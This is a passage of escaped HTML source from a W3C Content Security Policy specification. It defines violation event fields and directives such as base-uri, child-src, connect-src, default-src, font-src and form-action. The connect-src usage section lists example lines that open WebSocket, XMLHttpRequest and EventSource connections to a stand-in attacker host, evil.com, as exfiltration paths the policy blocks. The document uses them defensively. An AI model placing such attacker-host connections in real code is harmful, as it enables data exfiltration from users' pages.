href=\"#dom-securitypolicyviolationeventinit-originalpolicy\">originalPolicy</a>;\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-sourcefile\">sourceFile</a>;\n    long      <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"long      \" href=\"#dom-securitypolicyviolationeventinit-linenumber\">lineNumber</a>;\n    long      <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"long      \" href=\"#dom-securitypolicyviolationeventinit-columnnumber\">columnNumber</a>;\n};\n</pre>\n     \n    \n     <dl>\n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" id=\"dom-securitypolicyviolationeventinit-documenturi\">documentURI<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-documenturi\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a></span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-document-uri\"><code>document-uri</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" id=\"dom-securitypolicyviolationeventinit-referrer\">referrer<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-referrer\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a></span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-referrer\"><code>referrer</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" id=\"dom-securitypolicyviolationeventinit-blockeduri\">blockedURI<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-blockeduri\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a></span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-blocked-uri\"><code>blocked-uri</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" id=\"dom-securitypolicyviolationeventinit-violateddirective\">violatedDirective<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-violateddirective\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a></span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-violated-directive\"><code>violated-directive</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" id=\"dom-securitypolicyviolationeventinit-effectivedirective\">effectiveDirective<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-effectivedirective\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a></span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-effective-directive\"><code>effective-directive</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" id=\"dom-securitypolicyviolationeventinit-originalpolicy\">originalPolicy<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-originalpolicy\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a></span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-original-policy\"><code>original-policy</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" id=\"dom-securitypolicyviolationeventinit-sourcefile\">sourceFile<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-sourcefile\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a></span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-source-file\"><code>source-file</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" id=\"dom-securitypolicyviolationeventinit-linenumber\">lineNumber<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-linenumber\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"https://heycam.github.io/webidl/#idl-long\">long</a></span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-line-number\"><code>line-number</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" id=\"dom-securitypolicyviolationeventinit-columnnumber\">columnNumber<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-columnnumber\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"https://heycam.github.io/webidl/#idl-long\">long</a></span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-column-number\"><code>column-number</code></a> property of violation reports for a description of this property.\n      \n    \n     </dl>\n     \n  \n    </section>\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"6.3\" id=\"firing-securitypolicyviolationevent-events\"><span class=\"secno\">6.3. </span><span class=\"content\">Firing Violation Events</span><a class=\"self-link\" href=\"#firing-securitypolicyviolationevent-events\"></a></h3>\n     \n\n\n     <p>To <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"fire-a-violation-event\">fire a violation event<a class=\"self-link\" href=\"#fire-a-violation-event\"></a></dfn>, the user agent MUST use an algorithm\n    equivalent to the following:</p>\n     \n\n    \n     <ol>\n      \n      <li>Let <var>report object</var> be the result of <a data-link-type=\"dfn\" href=\"#generate-a-violation-report-object\">generating a\n      violation report object</a>.\n      \n\n      \n      <li><a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/webappapis.html#queue-a-task\">Queue a task</a> to\n      <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#concept-event-fire\">fire an event</a> named\n      <code>securitypolicyviolation</code> using the\n      <code><a class=\"idl-code\" data-link-type=\"interface\" href=\"#securitypolicyviolationevent\">SecurityPolicyViolationEvent</a></code> interface\n      with the following initializations:\n\n        \n       <ul>\n          \n        <li><code>blockedURI</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>blocked-uri</code> key.\n        \n\n          \n        <li><code>documentURI</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>document-uri</code> key.\n        \n\n          \n        <li><code>effectiveDirective</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>effective-directive</code> key.\n        \n\n          \n        <li><code>originalPolicy</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>original-policy</code> key.\n        \n\n          \n        <li><code>referrer</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>referrer</code> key.\n        \n\n          \n        <li><code>violatedDirective</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>violated-directive</code> key.\n        \n\n          \n        <li><code>sourceFile</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>source-file</code> key.\n        \n\n          \n        <li><code>lineNumber</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>line-number</code> key.\n        \n\n          \n        <li><code>columnNumber</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>column-number</code> key.\n        \n        \n       </ul>\n       \n      \n      \n    \n     </ol>\n     \n\n\n     <p>The <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/webappapis.html#task-source\">task source</a> for these <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/webappapis.html#concept-task\">tasks</a>\n    is the <a data-link-type=\"dfn\" href=\"#content-security-policy-task-source\">Content Security Policy task source</a>.</p>\n     \n  \n    </section>\n</section>\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"7\" id=\"directives\"><span class=\"secno\">7. </span><span class=\"content\">Directives</span><a class=\"self-link\" href=\"#directives\"></a></h2>\n\n\n    <p>This section describes the content security policy directives\n  introduced in this specification. Directive names are case insensitive.</p>\n\n\n    <p>In order to protect against Cross-Site Scripting (XSS), web\n  application authors SHOULD include:</p>\n\n  \n    <ul>\n    \n     <li>both the <code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code> and\n    <code><a data-link-type=\"dfn\" href=\"#object_src\">object-src</a></code> directives, or\n     \n\n    \n     <li>include a <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a></code> directive, which covers both\n    scripts and plugins.\n     \n  \n    </ul>\n\n\n    <p>In either case, authors SHOULD NOT include either\n  <code>'unsafe-inline'</code> or <code>data:</code> as valid sources in\n  their policies. Both enable XSS attacks by allowing code to be included\n  directly in the document itself; they are best avoided completely.</p>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.1\" id=\"directive-base-uri\"><span class=\"secno\">7.1. </span><span class=\"content\"><code>base-uri</code></span><a class=\"self-link\" href=\"#directive-base-uri\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"base_uri\">base-uri<a class=\"self-link\" href=\"#base_uri\"></a></dfn></code> directive restricts the URLs that can\n    be used to specify the <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#document-base-url\">document base URL</a>. The syntax for\n    the name and value of the directive are described by the following ABNF\n    grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"base-uri\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-base-urls\">allowed base URLs<a class=\"self-link\" href=\"#allowed-base-urls\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>base-uri</code> directive’s\n    value as a source list</a>.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: <code>base-uri</code> does not fall back to the <a data-link-type=\"dfn\" href=\"#default-sources\">default\n    sources</a>.</p>\n     \n\n\n     <p>Step 4 of the algorithm defined in HTML5 to obtain a\n    <em>document’s base URL</em> MUST be changed to:</p>\n     \n\n    \n     <ol start=\"4\">\n      \n      <li>If the previous step was not successful, or the result of the\n      previous step does not <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a>\n      the <a data-link-type=\"dfn\" href=\"#allowed-base-urls\">allowed base URLs</a> for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, then the\n      <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#document-base-url\">document base URL</a> is <var>fallback base URL</var>.\n      Otherwise, it is the result of the previous step.\n      \n    \n     </ol>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.2\" id=\"directive-child-src\"><span class=\"secno\">7.2. </span><span class=\"content\"><code>child-src</code></span><a class=\"self-link\" href=\"#directive-child-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"child_src\">child-src<a class=\"self-link\" href=\"#child_src\"></a></dfn></code> directive governs the creation of\n    <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing contexts</a> as well as Worker execution\n    contexts. The syntax for the name and value of the directive are described\n    by the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"child-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-child-sources\">allowed child sources<a class=\"self-link\" href=\"#allowed-child-sources\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>child-src</code>\n    directive’s value as a source list</a> if a <code>child-src</code>\n    directive is explicitly specified, and otherwise to the\n    <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a>.</p>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"7.2.1\" id=\"directive-child-src-nested\"><span class=\"secno\">7.2.1. </span><span class=\"content\">Nested Browsing Contexts</span><a class=\"self-link\" href=\"#directive-child-src-nested\"></a></h4>\n      \n\n\n      <p>To enforce the <code>child-src</code> directive the user agent MUST\n      enforce the <code><a data-link-type=\"dfn\" href=\"#frame_src\">frame-src</a></code> directive.</p>\n      \n    \n     </section>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"7.2.2\" id=\"directive-child-src-workers\"><span class=\"secno\">7.2.2. </span><span class=\"content\">Workers</span><a class=\"self-link\" href=\"#directive-child-src-workers\"></a></h4>\n      \n\n\n      <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL while processing the\n      <code>Worker</code> or <code>SharedWorker</code> constructors\n      <a data-link-type=\"biblio\" href=\"#biblio-workers\">[WORKERS]</a>, the user agent MUST act as if there was a fatal network\n      error and no resource was obtained, <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a violation</a>\n      if the URL does not <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the\n      <a data-link-type=\"dfn\" href=\"#allowed-child-sources\">allowed child sources</a> for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>.</p>\n      \n    \n     </section>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.3\" id=\"directive-connect-src\"><span class=\"secno\">7.3. </span><span class=\"content\"><code>connect-src</code></span><a class=\"self-link\" href=\"#directive-connect-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"connect_src\">connect-src<a class=\"self-link\" href=\"#connect_src\"></a></dfn></code> directive restricts which URLs the\n    protected resource can load using script interfaces. The syntax for the name\n    and value of the directive are described by the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"connect-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-connection-targets\">allowed connection targets<a class=\"self-link\" href=\"#allowed-connection-targets\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>connect-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>connect-src</code> directive, or otherwise to the\n    <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a>.</p>\n     \n\n\n     <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL in the course of one of the\n    following activities, if the URL does not\n    <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-connection-targets\">allowed connection\n    targets</a> for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST act as\n    if there was a fatal network error and no resource was obtained,\n    <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a violation</a>:</p>\n     \n\n    \n     <ul>\n      \n      \n      <li>Processing the <a href=\"http://www.w3.org/TR/XMLHttpRequest/#the-send()-method\"><code>send()</code>\n      method</a> of an <code>XMLHttpRequest</code> object.\n      \n\n      \n      <li>Processing the <a href=\"http://dev.w3.org/html5/websockets/#websocket\"><code>WebSocket</code>\n      constructor</a>.\n      \n\n      \n      <li>Processing the <a href=\"http://dev.w3.org/html5/eventsource/#eventsource\"><code>EventSource</code>\n      constructor</a>.\n      \n\n      \n      <li>Pinging an endpoint during <a href=\"https://html.spec.whatwg.org/multipage/semantics.html#hyperlink-auditing\">hyperlink auditing</a>.\n      \n\n      \n      <li>Sending a beacon via the <a href=\"http://www.w3.org/TR/beacon/#sec-sendBeacon-method\"><code>sendBeacon()</code></a> method <a data-link-type=\"biblio\" href=\"#biblio-beacon\">[BEACON]</a>\n      \n    \n     </ul>\n     \n    \n     <section class=\"informative\">\n      \n      <h4 class=\"heading settled\" data-level=\"7.3.1\" id=\"connect-src-usage\"><span class=\"secno\">7.3.1. </span><span class=\"content\">Usage</span><a class=\"self-link\" href=\"#connect-src-usage\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n\n      <p>JavaScript offers a few mechanisms that directly connect to an\n      external server to send or receive information. <code>EventSource</code>\n      maintains an open HTTP connection to a server in order to receive push\n      notifications, <code>WebSockets</code> open a bidirectional communication\n      channel between your browser and a server, and <code>XMLHttpRequest</code>\n      makes arbitrary HTTP requests on your behalf. These are powerful APIs that\n      enable useful functionality, but also provide tempting avenues for data\n      exfiltration.</p>\n      \n\n\n      <p>The <code>connect-src</code> directive allows you to ensure that\n      these sorts of connections are only opened to origins you trust.\n      Sending a policy that defines a list of source expressions for this\n      directive is straightforward. For example, to limit connections to\n      only <code>example.com</code>, send the following header:</p>\n      \n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#connect_src\">connect-src</a> example.com</pre>\n      \n\n\n      <p>All of the following will fail with the preceding directive in\n      place:</p>\n      \n\n      \n      <ul>\n        \n       <li><code>new WebSocket(\"wss://evil.com/\");</code>\n       \n        \n       <li><code>(new XMLHttpRequest()).open(\"GET\", \"https://evil.com/\", true);</code>\n       \n        \n       <li><code>new EventSource(\"https://evil.com\");</code>\n       \n      \n      </ul>\n      \n    \n     </section>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.4\" id=\"directive-default-src\"><span class=\"secno\">7.4. </span><span class=\"content\"><code>default-src</code></span><a class=\"self-link\" href=\"#directive-default-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"default_src\">default-src<a class=\"self-link\" href=\"#default_src\"></a></dfn></code> directive sets a default\n    source list for a number of directives. The syntax for the name and\n    value of the directive are described by the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"default-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>Let the <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"default-sources\">default sources<a class=\"self-link\" href=\"#default-sources\"></a></dfn> be the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>default-src</code>\n    directive’s value as a source list</a> if a <code>default-src</code>\n    directive is explicitly specified, and otherwise the U+002A ASTERISK\n    character (*).</p>\n     \n\n\n     <p>To enforce the <code>default-src</code> directive, the user agent\n    MUST enforce the following directives:</p>\n     \n\n    \n     <ul>\n      \n      <li><code><a data-link-type=\"dfn\" href=\"#child_src\">child-src</a></code>\n      \n      \n      <li><code><a data-link-type=\"dfn\" href=\"#connect_src\">connect-src</a></code>\n      \n      \n      <li><code><a data-link-type=\"dfn\" href=\"#font_src\">font-src</a></code>\n      \n      \n      <li><code><a data-link-type=\"dfn\" href=\"#img_src\">img-src</a></code>\n      \n      \n      <li><code><a data-link-type=\"dfn\" href=\"#media_src\">media-src</a></code>\n      \n      \n      <li><code><a data-link-type=\"dfn\" href=\"#object_src\">object-src</a></code>\n      \n      \n      <li><code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code>\n      \n      \n      <li><code><a data-link-type=\"dfn\" href=\"#style_src\">style-src</a></code>\n      \n    \n     </ul>\n     \n\n\n     <p>If not specified explicitly in the policy, the directives listed\n    above will use the <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a> as their source list.</p>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"7.4.1\" id=\"default-src-usage\"><span class=\"secno\">7.4.1. </span><span class=\"content\">Usage</span><a class=\"self-link\" href=\"#default-src-usage\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n\n      <p><code>default-src</code>, as the name implies, serves as a default\n      source list which the other source list-style directives will use as\n      a fallback if they’re not otherwise explicitly set. That is, consider\n      the following policy declaration:</p>\n      \n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'self'</pre>\n      \n\n\n      <p>Under this policy, fonts, frames, images, media, objects, scripts,\n      and styles will all only load from the same origin as the protected\n      resource, and connections will only be made to the same origin. Adding\n      a more specific declaration to the policy would completely override\n      the default source list for that resource type.</p>\n      \n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'self'; <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> example.com</pre>\n      \n\n\n      <p>Under this new policy, fonts, frames, and etc. continue to be load\n      from the same origin, but scripts will <em>only</em> load from\n      <code>example.com</code>. There’s no inheritance; the\n      <code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code> directive sets the allowed sources of\n      script, and the default list is not used for that resource type.</p>\n      \n\n\n      <p>Given this behavior, one good way of building a policy for a site\n      would be to begin with a <code>default-src</code> of\n      <code>'none'</code>, and to build up a policy from there that contains\n      only those resource types which are actually in use for the page you’d\n      like to protect. If you don’t use webfonts, for instance, there’s no\n      reason to specify a source list for <code><a data-link-type=\"dfn\" href=\"#font_src\">font-src</a></code>;\n      specifying only those resource types a page uses ensures that the\n      possible attack surface for that page remains as small as possible.</p>\n      \n    \n     </section>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.5\" id=\"directive-font-src\"><span class=\"secno\">7.5. </span><span class=\"content\"><code>font-src</code></span><a class=\"self-link\" href=\"#directive-font-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"font_src\">font-src<a class=\"self-link\" href=\"#font_src\"></a></dfn></code> directive restricts from where the\n    protected resource can load fonts. The syntax for the name and value\n    of the directive are described by the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"font-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-font-sources\">allowed font sources<a class=\"self-link\" href=\"#allowed-font-sources\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>font-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>font-src</code>, or otherwise to the\n    <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a>.</p>\n     \n\n\n     <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL in the course of one of the\n    following activities, if the URL does not\n    <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-font-sources\">allowed font sources</a>\n    for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST act as if there was\n    a fatal network error and no resource was obtained, <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report\n    a violation</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>Requesting data for display in a font, such as when processing\n      the &lt;&lt;@font-face>> Cascading Style Sheets (CSS) rule.\n      \n    \n     </ul>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.6\" id=\"directive-form-action\"><span class=\"secno\">7.6. </span><span class=\"content\"><code>form-action</code></span><a class=\"self-link\" href=\"#directive-form-action\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"form_action\">form-action<a class=\"self-link\" href=\"#form_action\"></a></dfn></code> restricts which URLs can be used as\n    the action of HTML <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/forms.html#the-form-element\">form</a></code> elements. The syntax for the name and value of\n    the directive are described by the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"form-action\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-form-actions\">allowed form actions<a class=\"self-link\" href=\"#allowed-form-actions\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>form-action</code>\n    directive’s value as a source list</a>.</p>\n     \n\n\n     <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL in the course of processing\n    an HTML <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/forms.html#the-form-element\">form</a></code> element, if the URL does not\n    <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-form-actions\">allowed form actions</a> for\n    the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST act as if there was a\n    fatal network error and no resource was obtained, <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a\n    violation</a>.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: <code>form-action</code> does not fall back to the <a data-link-type=\"dfn\" href=\"#default-sources\">default\n    sources</a> when the directive is not defined. That is, a policy that\n    defines <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'none'</code> but not\n    <code>form-action</code> will still allow form submissions to any\n    target.</p>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.7\" id=\"directive-frame-ancestors\"><span class=\"secno\">7.7. </span><span class=\"content\"><code>frame-ancestors</code></span><a class=\"self-link\" href=\"#directive-frame-ancestors\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"frame_ancestors\">frame-ancestors<a class=\"self-link\" href=\"#frame_ancestors\"></a></dfn></code> directive indicates whether the\n    user agent should allow embedding the resource using a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/obsolete.html#frame\">frame</a></code>,\n    <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element\">iframe</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code> or <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/obsolete.html#the-applet-element\">applet</a></code> element, or equivalent\n    functionality in non-HTML resources. Resources can use this directive to\n    avoid many UI Redressing <a data-link-type=\"biblio\" href=\"#biblio-uiredress\">[UIREDRESS]</a> attacks by avoiding being embedded\n    into potentially hostile contexts.</p>\n     \n\n\n     <p>The syntax for the name and value of the directive are described by the\n    following ABNF grammar:</p>\n     \n\n    \n     <pre><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"ancestor_source_list\">ancestor-source-list<a class=\"self-link\" href=\"#ancestor_source_list\"></a></dfn> = [ <a data-link-type=\"dfn\" href=\"#ancestor_source\">ancestor-source</a> *( 1*WSP <a data-link-type=\"dfn\" href=\"#ancestor_source\">ancestor-source</a> ) ] / \"'none'\"\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"ancestor_source\">ancestor-source<a class=\"self-link\" href=\"#ancestor_source\"></a></dfn>      = <a data-link-type=\"dfn\" href=\"#scheme_source\">scheme-source</a> / <a data-link-type=\"dfn\" href=\"#host_source\">host-source</a>\n\ndirective-name  = \"frame-ancestors\"\ndirective-value = <a data-link-type=\"dfn\" href=\"#ancestor_source_list\">ancestor-source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-frame-ancestors\">allowed frame ancestors<a class=\"self-link\" href=\"#allowed-frame-ancestors\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>frame-ancestors</code>\n    directive’s value as a source list</a>. If a <code>frame-ancestors</code>\n    directive is not explicitly included in the policy, then <a data-link-type=\"dfn\" href=\"#allowed-frame-ancestors\">allowed frame\n    ancestors</a> is \"<code>*</code>\".</p>\n     \n\n\n     <p>To enforce the <code>frame-ancestors</code> directive, whenever the\n    user agent would load the protected resource into a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing\n    context</a>, the user agent MUST perform the following steps:</p>\n     \n\n    \n     <ol>\n      \n      <li>Let <var>nestedContext</var> be the nested browsing context into\n      which the protected resource is being loaded.\n      \n\n      \n      <li>Let <var>ancestorList</var> be the list of all\n      <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#ancestor-browsing-context\">ancestors</a> of <var>nestedContext</var>.\n      \n\n      \n      <li>For each <var>ancestorContext</var> in <var>ancestorList</var>:\n        \n       <ol>\n          \n        <li>Let <var>document</var> be <var>ancestorContext</var>’s\n          <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#active-document\">active document</a>.\n        \n\n          \n        <li>If <var>document</var>’s URL does not\n          <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a 